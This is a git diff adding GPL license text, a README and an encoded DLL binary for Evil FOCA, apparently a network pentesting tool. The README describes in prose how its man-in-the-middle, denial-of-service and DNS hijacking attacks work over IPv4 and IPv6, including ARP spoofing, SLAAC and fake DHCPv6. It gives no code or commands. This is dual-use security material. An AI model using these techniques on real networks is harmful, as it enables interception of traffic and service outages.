attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..e1ad176 --- /dev/null +++ b/README.md @@ -0,0 +1,40 @@ +### Evil FOCA + +## Introduction +Evil Foca is a tool for security pentesters and auditors whose purpose it is to test security in IPv4 and IPv6 data networks. +The tool is capable of carrying out various attacks such as: + +- MITM over IPv4 networks with ARP Spoofing and DHCP ACK Injection. +- MITM on IPv6 networks with Neighbor Advertisement Spoofing, SLAAC attack, fake DHCPv6. +- DoS (Denial of Service) on IPv4 networks with ARP Spoofing. +- DoS (Denial of Service) on IPv6 networks with SLAAC DoS. +- DNS Hijacking. + +The software automatically scans the networks and identifies all devices and their respective network interfaces, specifying their IPv4 and IPv6 addresses as well as the physical addresses through a convenient and intuitive interface. + +## Man In The Middle (MITM) attack +The well-known “Man In The Middle” is an attack in which the wrongdoer creates the possibility of reading, adding, or modifying information that is located in a channel between two terminals with neither of these noticing. Within the MITM attacks in IPv4 and IPv6 Evil Foca considers the following techniques: + +*ARP Spoofing* +Consists in sending ARP messages to the Ethernet network. Normally the objective is to associate the MAC address of the attacker with the IP of another device. Any traffic directed to the IP address of the predetermined link gate will be erroneously sent to the attacker instead of its real destination. +*DHCP ACK Injection* +Consists in an attacker monitoring the DHCP exchanges and, at some point during the communication, sending a packet to modify its behavior. Evil Foca converts the machine in a fake DHCP server on the network. +*Neighbor Advertisement Spoofing* +The principle of this attack is identical to that of ARP Spoofing, with the difference being in that IPv6 doesn’t work with the ARP protocol, but that all information is sent through ICMPv6 packets. There are five types of ICMPv6 packets used in the discovery protocol and Evil Foca generates this type of packets, placing itself between the gateway and victim. +*SLAAC attack* +The objective of this type of attack is to be able to execute an MITM when a user connects to Internet and to a server that does not include support for IPv6 and to which it is therefore necessary to connect using IPv4. This attack is possible due to the fact that Evil Foca undertakes domain name resolution once it is in the communication media, and is capable of transforming IPv4 addresses in IPv6. +*Fake DHCPv6 server* +This attack involves the attacker posing as the DCHPv6 server, responding to all network requests, distributing IPv6 addresses and a false DNS to manipulate the user destination or deny the service. +*Denial of Service (DoS) attack* +The DoS attack is an attack to a system of machines or network that results in a service or resource being inaccessible for its users. Normally it provokes the loss of network connectivity due to consumption of the bandwidth of the victim’s network, or overloads the computing resources of the victim’s system. +*DoS attack in IPv4 with ARP Spoofing* +This type of DoS attack consists in associating a nonexistent MAC address in a victim’s ARP table. This results in rendering the machine whose ARP table has been modified incapable of connecting to the IP address associated to the nonexistent MAC. +*DoS attack in IPv6 with SLAAC attack* +In this type of attack a large quantity of “router advertisement” packets are generated, destined to one or several machines, announcing false routers and assigning a different IPv6 address and link gate for each router, collapsing the system and making machines unresponsive. +*DNS Hijacking* +The DNS Hijacking attack or DNS kidnapping consists in altering the resolution of the domain names system (DNS). This can be achieved using malware that invalidates the configuration of a TCP/IP machine so that it points to a pirate DNS server under the attacker’s control, or by way of an MITM attack, with the attacker being the party who receives the DNS requests, and responding himself or herself to a specific DNS request to direct the victim toward a specific destination selected by the attacker. + +## License + +EVil FOCA is developed by [ElevenPaths](https://www.elevenpaths.com) and released under the GNU Public License 3.0. +For more information, visit the Evil FOCA's webpage at [https://www.elevenpaths.com/labstools/evil-foca/index.html](https://www.elevenpaths.com/labstools/evil-foca/index.html) diff --git a/ThirdPartyAssemblies/DNSLibrary.dll b/ThirdPartyAssemblies/DNSLibrary.dll new file mode 100644 index 0000000000000000000000000000000000000000..8ff5a7e05d5f64f7f931ac01623ca6618f5354e2 GIT binary patch literal 43520 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 